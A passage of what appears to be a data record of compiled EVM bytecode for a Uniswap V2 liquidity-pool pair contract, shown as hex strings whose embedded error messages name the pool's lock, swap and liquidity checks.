505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
|
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dfffffffff